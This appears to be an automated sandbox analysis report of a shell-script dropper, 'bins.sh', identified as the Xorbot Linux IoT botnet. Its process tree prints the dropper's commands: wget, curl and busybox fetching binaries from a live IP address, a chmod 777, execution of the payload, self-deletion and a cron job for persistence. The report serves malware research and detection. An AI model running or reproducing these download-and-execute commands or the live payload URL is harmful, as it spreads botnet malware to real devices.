Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    160s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    01/01/2025, 13:26

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250101-qphg7synbj
  • SHA256 495c750e4e9a940028d9cedeb764bc681e91dd6fd3a5b84b6121a0879ecc917e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (2142) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:638
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:640
        • /usr/bin/wget
          wget http://66.63.187.225/bins/0iqoOXdYdbNtQgq6vo8jlJSvPpCHW35C7W
          2⤵
          • Writes file to tmp directory
          PID:642
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/0iqoOXdYdbNtQgq6vo8jlJSvPpCHW35C7W
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:667
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/0iqoOXdYdbNtQgq6vo8jlJSvPpCHW35C7W
          2⤵
          • Writes file to tmp directory
          PID:674
        • /bin/chmod
          chmod 777 0iqoOXdYdbNtQgq6vo8jlJSvPpCHW35C7W
          2⤵
          • File and Directory Permissions Modification
          PID:682
        • /tmp/0iqoOXdYdbNtQgq6vo8jlJSvPpCHW35C7W
          ./0iqoOXdYdbNtQgq6vo8jlJSvPpCHW35C7W
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:683
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:685
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:686
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:689
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:690
              • /bin/rm
                rm 0iqoOXdYdbNtQgq6vo8jlJSvPpCHW35C7W
                2⤵
                  PID:701
                • /usr/bin/wget
                  wget http://66.63.187.225/bins/yvx1lazF25Ni6WyKUm85NgSuAdFjrgi6My
                  2⤵
                    PID:704

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      0iqoOXdYdbNtQgq6vo8jlJSvPpCHW35C7W
                      • Path /tmp/0iqoOXdYdbNtQgq6vo8jlJSvPpCHW35C7W
                      • Size 127KB
                      • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                      • MD5 SHA1 SHA512 SSDEEP
                      Submit Download

                      tmp.GuIx9M
                      • Path /var/spool/cron/crontabs/tmp.GuIx9M
                      • Size 210B
                      • SHA256 f77691f44d7160dd54794de150658a7510d667da87eb4ae3fb8f4265557cd275
                      • MD5 SHA1 SHA512
                      Submit Download